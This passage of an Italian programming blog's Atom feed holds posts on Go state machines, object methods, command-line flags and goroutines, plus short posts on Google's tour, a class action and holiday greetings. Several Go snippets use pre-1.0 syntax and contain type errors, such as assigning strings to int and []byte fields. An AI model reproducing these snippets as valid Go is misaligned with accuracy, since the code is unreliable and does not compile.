trattazione.&lt;br /&gt;&lt;br /&gt;L'utilizzo di macchine a stati mi sembra importante nella programmazione di sistema, soprattutto quando si parla di servizi.&lt;br /&gt;Cosa succede allora quando le state machine incontrano Go?&lt;br /&gt;&lt;br /&gt;Ma partiamo "dall'incomincio": ecco un esempio di macchina a stati semplicissima (e anche un po' inutile) che però fa capire in cosa consistono questi arcani. &lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_sXS0ScZT1Nw/S4wKbSyuJAI/AAAAAAAAAgI/rEYMFJsMwK8/s1600-h/state_machine.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 114px;" src="http://2.bp.blogspot.com/_sXS0ScZT1Nw/S4wKbSyuJAI/AAAAAAAAAgI/rEYMFJsMwK8/s320/state_machine.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5443737513601410050" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Questo concetto è molto comodo quando si programma a oggetti. Come abbiamo visto nello scorso articolo il linguaggio Go possiede gli oggetti.&lt;br /&gt;Creiamo dunque il nostro oggetto intorno allo stato interno che per comodità conterrà solo l'indice dello stato in cui ci troviamo.&lt;br /&gt;&lt;br /&gt;&lt;pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"&gt;&lt;code&gt;type InternalState struct  {&lt;br /&gt;    myState int;&lt;br /&gt;}                          &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Se prendiamo come modello quello nella figura sopra lo stato interno InternalState dovrà essere inizializzato, poi passare nello stato 1 e successivamente nello stato 2 prima di terminare.&lt;br /&gt;&lt;br /&gt;Componiamo allora in questo modo la funzione che andrà a inizializzare la nostra macchina a stati:&lt;br /&gt;&lt;pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"&gt;&lt;code&gt;func (state * InternalState) Init (inputValue int)&lt;br /&gt;{&lt;br /&gt;    state.myState = inputValue;&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Avremo poi bisogno di due funzioni per ogni stato, una che effettua operazioni di entry ed exit:&lt;br /&gt;&lt;pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"&gt;&lt;code&gt;func (state * InternalState) Stato1_Entry ()&lt;br /&gt;{&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;func (state * InternalState) Stato1_Exit ()&lt;br /&gt;{&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;func (state * InternalState) Stato2_Entry ()&lt;br /&gt;{&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;func (state * InternalState) Stato2_Exit ()&lt;br /&gt;{&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Nel prossimo post vedremo invece come unire tutti i componenti appena creati per far transitare lo stato dell'oggetto da quello iniziale a quello finale passando per gli stati intermedi.&lt;br /&gt;&lt;br /&gt;Spero inoltre di aver messo qualche pulce nell'orecchio per approfondire un argomento veramente interessante.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-503067186456544355?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/503067186456544355/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=503067186456544355' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/503067186456544355'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/503067186456544355'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2010/03/state-machine-in-go-language-1-parte.html' title='State Machine in Go-Language - 1^ parte'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_sXS0ScZT1Nw/S4wKbSyuJAI/AAAAAAAAAgI/rEYMFJsMwK8/s72-c/state_machine.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-3929338931784996673</id><published>2010-02-06T12:54:00.003+01:00</published><updated>2010-02-07T13:08:29.369+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programmazione'/><category scheme='http://www.blogger.com/atom/ns#' term='Go'/><category scheme='http://www.blogger.com/atom/ns#' term='Google'/><title type='text'>OOp in go-lang</title><content type='html'>Prima di cominciare a parlare dell'argomento di questo post consentitemi di fare un piccolo festeggiamento per il 200esimo post su questo blog. Ultimamente ho rallentato la frequenza di aggiornamenti ma spero di averne incrementato la qualità.&lt;br /&gt;&lt;br /&gt;Penso che una caratteristica che ha fatto storcere il naso a molti sia l'assenza della keyword &lt;span style="font-weight:bold;"&gt;class&lt;/span&gt; nel linguaggio Go.&lt;br /&gt;In un primo momento questa illustre assenza potrebbe far pensare all'assenza del concetto di oggetto che invece è molto presente e molto utile.&lt;br /&gt;&lt;br /&gt;Ma andiamo in ordine:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;1) Definizione di nuovi tipi&lt;/span&gt;&lt;br /&gt;Go permette di definire nuovi tipi con la keyword type.&lt;br /&gt;&lt;pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"&gt;&lt;code&gt;type File struct  {&lt;br /&gt;  fileName [] byte;  //Name of the file&lt;br /&gt;  sizeInByte int;    //Size of the file&lt;br /&gt;  path [] byte;      //Location of the file on hd&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;In questo modo abbiamo associato alla struttura File un nuovo tipo che da ora in avanti avrà gli attributi descritti all'interno.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;2) Definizione di nuovi metodi&lt;/span&gt;&lt;br /&gt;Creare nuovi metodi che eseguano del codice è molto semplice.&lt;br /&gt;&lt;pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"&gt;&lt;code&gt;func PrintAll()&lt;br /&gt;{&lt;br /&gt;    fmt.Printf("All");&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;3) Associare i metodi ai tipi&lt;/span&gt;&lt;br /&gt;A questo punto perchè non provare ad associare il metodo PrintAll al tipo File in modo che stampi tutti gli attributi di File quando viene invocato?&lt;br /&gt;Si deve quindi dire al metodo PrintAll che eseguerà operazioni solo sul tipo File.&lt;br /&gt;&lt;pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"&gt;&lt;code&gt;func (f * File) PrintAll()&lt;br /&gt;{&lt;br /&gt;  fmt.Printf(&amp;quot;Filename: %s\n&amp;quot;,f.fileName);&lt;br /&gt;  fmt.Printf(&amp;quot;Size: %d\n&amp;quot;,f.sizeInByte);&lt;br /&gt;  fmt.Printf(&amp;quot;Path: %s\n&amp;quot;,f.path);&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;4) Istanziare un nuovo File&lt;/span&gt;&lt;br /&gt;In questo modo si potrà dunque istanziare un nuovo oggetto di tipo file e invocarne il suo metodo.&lt;br /&gt;&lt;pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"&gt;&lt;code&gt;filePtr := new(File); //File *&lt;br /&gt;filePtr.fileName = &amp;quot;Useless.txt&amp;quot;;&lt;br /&gt;filePtr.sizeInByte = &amp;quot;1024&amp;quot;;&lt;br /&gt;filePtr.path = &amp;quot;$HOME&amp;quot;;&lt;br /&gt;&lt;br /&gt;//Call File method&lt;br /&gt;filePtr.PrintAll();&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;------------------------------------------------------&lt;br /&gt;&lt;br /&gt;L'argomento è ovviamente molto più esteso ma in questo post volevo dare soltanto un'introduzione all'utilizzo degli oggetti all'interno di Go per i più scettici.&lt;br /&gt;Prossimamente potremo anche parlare di Interfacce lasciando però prima di addentrarci tutti i preconcetti che arrivano da altri tipi di linguaggi poichè Go affronta tali argomenti da un altro punto di vista.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-3929338931784996673?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/3929338931784996673/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=3929338931784996673' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/3929338931784996673'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/3929338931784996673'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2010/02/oop-in-go-lang.html' title='OOp in go-lang'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-5727685261570246655</id><published>2010-01-26T19:14:00.003+01:00</published><updated>2010-01-26T19:20:07.508+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Google'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><category scheme='http://www.blogger.com/atom/ns#' term='Diritto'/><title type='text'>Ma in Italia c'è internet?</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://static.blogo.it/ossblog/androiddeveloperlab.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 160px; height: 250px;" src="http://static.blogo.it/ossblog/androiddeveloperlab.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;Sapevate che esiste un Google Lab? ...  Si? ... Bene!&lt;br /&gt;Sapevate che il Google Lab ha organizzato un tour in giro per il mondo? È proprio una gran figata!!!&lt;br /&gt;Sapevate che Google ha pensato bene di non includere l'Italia nel tour?&lt;br /&gt;&lt;br /&gt;Ebbene si, Google, come è accaduto per l'Android Developer Challenge, ha ritenuto che l'Italia non è degna di certi riguardi. Prima però di scagliarsi contro la multinazionale di turno io mi fermerei un attimo a riflettere e guardare in faccia la realtà di ciò che il nostro paese fa nell'era del Web 2.0.&lt;br /&gt;&lt;br /&gt;Le infrastrutture sono quelle che sono. Internet sui cellulari lo usa il 2% (stima mia personale fatta ad occhio con una certa ironia) della popolazione e quasi nessuno sa cosa vuol dire cloud. &lt;br /&gt;Vi sembra normale? A me personalmente no! Direi che è giunto il momento di darsi una bella svegliata se non vogliamo rimanere indietro per sempre. &lt;br /&gt;&lt;br /&gt;Detto questo Google non ci fa sicuramente una bella figura visto che per quanto riguarda la telefonia l'Italia ha sicuramente un mercato redditizio pari a quello degli altri paesi. Purtroppo è sul piano dei servizi che deficitiamo.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-5727685261570246655?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/5727685261570246655/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=5727685261570246655' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/5727685261570246655'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/5727685261570246655'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2010/01/ma-in-italia-ce-internet.html' title='Ma in Italia c&apos;è internet?'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-5529058811452082941</id><published>2010-01-24T11:55:00.003+01:00</published><updated>2010-01-24T12:13:31.955+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programmazione'/><category scheme='http://www.blogger.com/atom/ns#' term='Go'/><category scheme='http://www.blogger.com/atom/ns#' term='Google'/><title type='text'>Parametri da linea di comando secondo Go</title><content type='html'>Go-lang è stato pensato per essere il linguaggio definitivo per le applicazioni di sistema.&lt;br /&gt;Una delle cose che più impreziosiscono gli strumenti che (non) tutti i giorni utilizziamo per l'amministrazione del nostro sistema è sicuramente il parco di opzioni e flag che possiamo indicare da linea di comando.&lt;br /&gt;&lt;br /&gt;Go-lang permette molto comodamente di dichiarare quali saranno i parametri che ci aspettiamo di ricevere da linea di comando, di che tipo saranno e che cosa comunicare all'operatore per aiutarlo nell'utilizzo del tool.&lt;br /&gt;&lt;br /&gt;Vediamo, con un semplice esempio, ciò che Go ci mette a disposizione per rendere la nostra applicazione il più flessibile possibile.&lt;br /&gt;&lt;br /&gt;Cominciamo con dichiarare quali flag ci aspetteremo:&lt;br /&gt;&lt;pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"&gt;&lt;code&gt;//Flags&lt;br /&gt;var file_to_download * string;&lt;br /&gt;var fileType * string;&lt;br /&gt;var configShow * string;&lt;br /&gt;var configEdit * bool;&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Successivamente definiamo le keywords con le quali potranno essere attivati i parametri:&lt;br /&gt;&lt;pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"&gt;&lt;code&gt;/**&lt;br /&gt; *Function used to initialize flags from command line.&lt;br /&gt; */&lt;br /&gt;func initFlags() int&lt;br /&gt;{&lt;br /&gt;  file_to_download = flag.String(&amp;quot;d&amp;quot;,&amp;quot;&amp;quot;,&amp;quot;Type the name of the file&amp;quot;);&lt;br /&gt;  fileType = flag.String(&amp;quot;t&amp;quot;,&amp;quot;*&amp;quot;,&amp;quot;Kind of file you want to download:\n\t*: all\n\tmov: movie\n\tmsc: music&amp;quot;);&lt;br /&gt;  configShow = flag.String(&amp;quot;c&amp;quot;,&amp;quot;editor&amp;quot;,&amp;quot;Open the config file into chosen [editor]&amp;quot;);&lt;br /&gt;  configEdit = flag.Bool(&amp;quot;C&amp;quot;,false,&amp;quot;Edit parameters of config from inside the program.&amp;quot;);&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Il package flag contiene una funzione di definizione parametro per ogni tipo di comando che desideriamo ricevere. Tutte queste funzioni però hanno tutte la stessa forma. Ricevono infatti tre parametri:&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;La lettera/Le lettere che identificano il comando;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Il comportamento di default;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Un messaggio da dare all'operatore su come va utilizzato il flag.&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Una volta definiti i flag possiamo utilizzare i comandi che arrivano dalla shell all'interno del nostro programma:&lt;br /&gt;&lt;pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"&gt;&lt;code&gt;/**&lt;br /&gt; *Main function. From here the program starts.&lt;br /&gt; */&lt;br /&gt;func main()&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;  //Initialize flags&lt;br /&gt;  initFlags();&lt;br /&gt;&lt;br /&gt;  flag.Parse(); //Scans the arg list and sets up flags&lt;br /&gt;&lt;br /&gt;  var fileStr string = &amp;quot;&amp;quot;;&lt;br /&gt;  var typeStr string = &amp;quot;&amp;quot;;&lt;br /&gt;  var confStr string = &amp;quot;&amp;quot;;&lt;br /&gt;  var confMode bool = false;&lt;br /&gt;&lt;br /&gt;  confStr += *configShow;&lt;br /&gt;  confMode = *configEdit;&lt;br /&gt;  &lt;br /&gt;  if(confMode)&lt;br /&gt;  {&lt;br /&gt;    os.Stdout.WriteString(&amp;quot;Config mode\n&amp;quot;);&lt;br /&gt;  }&lt;br /&gt;  else&lt;br /&gt;  {&lt;br /&gt;    os.Stdout.WriteString(&amp;quot;Normal mode\n&amp;quot;);&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  if( *file_to_download == &amp;quot;&amp;quot;) //Want to download a file&lt;br /&gt;  {&lt;br /&gt;    fileStr += &amp;quot;errore&amp;quot;;&lt;br /&gt;    fileStr += Newline;&lt;br /&gt;    os.Stdout.WriteString(fileStr);&lt;br /&gt;  }&lt;br /&gt;  else&lt;br /&gt;  {&lt;br /&gt;    fileStr += *file_to_download;&lt;br /&gt;    fileStr += Newline;&lt;br /&gt;    os.Stdout.WriteString(fileStr);&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  typeStr += *fileType;&lt;br /&gt;  typeStr += Newline;&lt;br /&gt;  os.Stdout.WriteString(typeStr);&lt;br /&gt;&lt;br /&gt;  //Useless calls&lt;br /&gt;  giogolib.LogMessage(def.Debug,&amp;quot;Applicazione partita&amp;quot;);&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Spero di aver mostrato in modo chiaro come Go lang permetta di fornire all'utente che andrà ad utilizzare la nostra applicazione tutti gli strumenti per adattare l'esecuzione del software alle sue esigenze.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-5529058811452082941?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/5529058811452082941/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=5529058811452082941' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/5529058811452082941'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/5529058811452082941'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2010/01/parametri-da-linea-di-comando-secondo.html' title='Parametri da linea di comando secondo Go'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-7531263306769528809</id><published>2010-01-07T22:25:00.003+01:00</published><updated>2010-01-07T22:32:29.865+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Libertà di parola'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><category scheme='http://www.blogger.com/atom/ns#' term='Diritto'/><title type='text'>Gennaio bollente!</title><content type='html'>&lt;div&gt;Dopo una breve e meritatissima vacanza passata sul suolo parigino si ricomincia con la nostra battaglia per la libertà nel software (e non solo).&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://libpweb.nus.edu.sg/llb/g/gavel.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 250px; height: 230px;" src="http://libpweb.nus.edu.sg/llb/g/gavel.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;Lo stato italiano finalmente ci da uno strumento importante che è la class action. Sicuramente questo strumento si andrà ad affinare ma già al giorno d'oggi ci consente di battagliare per avere dei computer senza Windows pre installato. In questo modo l'utente sarà libero di scegliere quale sistema operativo e suite da lavoro installare.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Per approfondire questo interessante argomento vi consiglio di dare una sbirciatina a &lt;a href="http://www.ossblog.it/post/5592/aduc-azione-di-classe-contro-windows-preinstallato"&gt;ossblog.it&lt;/a&gt; che ha un articolo veramente ben fatto ;)&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-7531263306769528809?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/7531263306769528809/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=7531263306769528809' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/7531263306769528809'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/7531263306769528809'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2010/01/gennaio-bollente.html' title='Gennaio bollente!'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-4637001358579806263</id><published>2009-12-24T18:08:00.004+01:00</published><updated>2009-12-24T22:25:12.183+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Aggiornamento'/><title type='text'>Auguri di buon Natale e Felice anno nuovo</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_sXS0ScZT1Nw/SzPcLQfSy1I/AAAAAAAAAfA/T9v5Rp7Cjkw/s1600-h/auguri_buon_natale.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 222px;" src="http://1.bp.blogspot.com/_sXS0ScZT1Nw/SzPcLQfSy1I/AAAAAAAAAfA/T9v5Rp7Cjkw/s320/auguri_buon_natale.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5418916862619732818" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ci vediamo nel 2010!!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-4637001358579806263?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/4637001358579806263/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=4637001358579806263' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/4637001358579806263'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/4637001358579806263'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/12/auguri-di-buon-natale-e-felice-anno.html' title='Auguri di buon Natale e Felice anno nuovo'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_sXS0ScZT1Nw/SzPcLQfSy1I/AAAAAAAAAfA/T9v5Rp7Cjkw/s72-c/auguri_buon_natale.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-3440297359275717495</id><published>2009-12-20T15:25:00.006+01:00</published><updated>2009-12-20T16:05:21.149+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programmazione'/><category scheme='http://www.blogger.com/atom/ns#' term='Go'/><category scheme='http://www.blogger.com/atom/ns#' term='Google'/><title type='text'>Go Language - go statement</title><content type='html'>Il linguaggio Go, sviluppato da Google, mi ha subito affascinato. I programmatori di Google hanno da subito sostenuto che questo linguaggio di sistema sarebbe stato "divertente" da usare.&lt;br /&gt;Non posso far altro che confermare quando dichiarato da big G e in questo video-tutoria cerco di far vedere con un semplice esempio quanto sia facile scrivere codice multithread con Go.&lt;br /&gt;&lt;br /&gt;&lt;object width="400" height="324"&gt;&lt;param name="movie" value="http://www.youtube.com/v/ZrSfxnQCVCA&amp;hl=it_IT&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/ZrSfxnQCVCA&amp;hl=it_IT&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="400" height="324"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;Perdonatemi l'audio che è leggermente "a scatti" ma recordmydesktop ha deciso che oggi lo vuole fare così. Una volta risolti i problemi pubblicherò una versione con l'audio migliore.&lt;br /&gt;&lt;br /&gt;Per quanto riguarda un po' di documentazione ecco la specifica del comando "go": &lt;a href="http://golang.org/doc/go_spec.html#Go_statements"&gt;Go docs&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Ecco invece il codice dell'esempio per poterlo provare con mano:&lt;br /&gt;&lt;pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"&gt;&lt;code&gt;package main&lt;br /&gt;&lt;br /&gt;import &amp;quot;fmt&amp;quot;;&lt;br /&gt;&lt;br /&gt;func main()&lt;br /&gt;{&lt;br /&gt;    var a int;&lt;br /&gt;&lt;br /&gt;    a = 10;&lt;br /&gt;&lt;br /&gt;    go thread1(&amp;amp;a);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;func thread1(v * int)&lt;br /&gt;{&lt;br /&gt;    //do nothing&lt;br /&gt;    fmt.Printf(&amp;quot;Value %d&amp;quot;,*v);&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-3440297359275717495?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/3440297359275717495/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=3440297359275717495' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/3440297359275717495'/><link rel='self' type='application/atom+xml' 